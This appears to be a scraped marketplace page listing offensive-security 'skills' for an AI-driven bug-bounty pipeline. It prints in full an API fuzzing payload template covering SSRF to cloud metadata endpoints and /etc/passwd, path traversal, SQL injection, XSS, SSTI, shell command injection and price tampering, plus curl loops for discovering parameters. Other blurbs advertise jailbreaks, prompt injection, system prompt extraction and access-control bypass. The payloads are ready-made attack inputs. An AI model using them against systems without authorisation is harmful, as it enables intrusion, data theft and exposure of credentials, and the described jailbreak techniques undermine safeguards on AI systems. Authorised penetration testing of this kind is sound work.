菜单
API semantic fuzzing payload templates. Provides intelligent payload selection based on parameter semantic type rather than blind fuzzing. Covers IDOR, SQLi, XSS, SSRF, SSTI, command injection, and business logic payloads.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Methodology reference for Mastermind Bug Bounty runtime. Iron Rules, Safe-First Layering, phase techniques, value pool linkage, SRC compliance, and Hook system.
AI/LLM security testing specialist. Tests for prompt injection, jailbreak, MCP/Agent attacks, RAG poisoning, system prompt extraction, and tool/function call abuse. Optional phase.
API 发现与语义化 Fuzz 专家。基于 Recon 产出的 _endpoint_params.json （接口→参数需求映射表）和数据联动值池，执行全接口覆盖测试、响应挖掘、 参数注入和语义化 Fuzz。核心原则：用 JS 提取的参数需求 + 响应泄露的真实值 驱动测试，而不是盲目 fuzz。
Access control bypass specialist. Handles 401/403/405 responses using path manipulation, HTTP method switching, header injection, middleware-specific techniques, and JWT token attacks. Third phase in the pipeline.
★ AI 优势赛道 — 加密/编码攻击专家。覆盖 AES/DES/RSA 密钥提取与破解、 JWT 全攻击链、编码检测与多层解码、CryptoJS 模式识别、响应体加密字段 解密、签名算法逆向、自定义混淆还原。
★ Exploit + Report: vulnerability exploitation specialist. Covers XSS, SQLi, SSRF, IDOR, SSTI, LFI/RFI, RCE, XXE, race conditions, business logic flaws. Enforces FOUND≠CONFIRMED triage gate (6-check), generates PoC chain, and produces 中文 .docx HackerOne/SRC-format reports. Final required phase.
| name | api-fuzz |
| description | API semantic fuzzing payload templates. Provides intelligent payload selection based on parameter semantic type rather than blind fuzzing. Covers IDOR, SQLi, XSS, SSRF, SSTI, command injection, and business logic payloads. |
| metadata | {"tags":"api,fuzz,payloads,idor,sqli,xss,ssrf,ssti","category":"offensive-security"} |
id=1,2,3,100,999999
id=null id=0 id=-1 id[]=1 id[]=1&id[]=2
id[$gt]=0 id[$ne]=1 id[$regex]=.*
# SSRF
url=http://127.0.0.1
url=http://[::1]
url=http://169.254.169.254/latest/meta-data/ (AWS)
url=http://metadata.google.internal/ (GCP)
url=file:///etc/passwd
url=gopher://127.0.0.1:25/
url=dict://127.0.0.1:6379/
# Path traversal
file=../../../etc/passwd
file=....//....//....//etc/passwd
file=/etc/passwd%00.jpg
file=php://filter/convert.base64-encode/resource=index.php
# SQLi
q=1' OR '1'='1
q=1' UNION SELECT 1,2,3--
q=1' AND SLEEP(5)--
q=1'; WAITFOR DELAY '0:0:5'--
# XSS
q=<script>alert(1)</script>
q=<img src=x onerror=alert(1)>
q=<svg onload=alert(1)>
q=javascript:alert(1)
# SSTI
template={{7*7}}
template={{config}}
template=${{7*7}}
template=<%= 7*7 %>
cmd=; id
cmd=| id
cmd=`id`
cmd=$(id)
cmd=|| id
cmd=& id
cmd=\n id
# Business logic
amount=0 amount=-1 amount=0.01
quantity=0 quantity=-1 quantity=999999
price=0 price=0.00
# Method 1: Append params, watch response size
for param in id uid page limit search q role status; do
len=$(curl -s "$BASE?$param=1" | wc -c)
echo "$param → $len bytes"
done
# Method 2: POST empty JSON, read error
curl -s -X POST "$BASE" -H "Content-Type: application/json" -d '{}'
# "missing required field: username" → param name leaked
# Method 3: Content-Type variants
curl -X POST "$BASE" -H "Content-Type: application/json" -d '{"id":1}'
curl -X POST "$BASE" -H "Content-Type: application/xml" -d '<id>1</id>'
curl -X POST "$BASE" -H "Content-Type: application/x-www-form-urlencoded" -d 'id=1'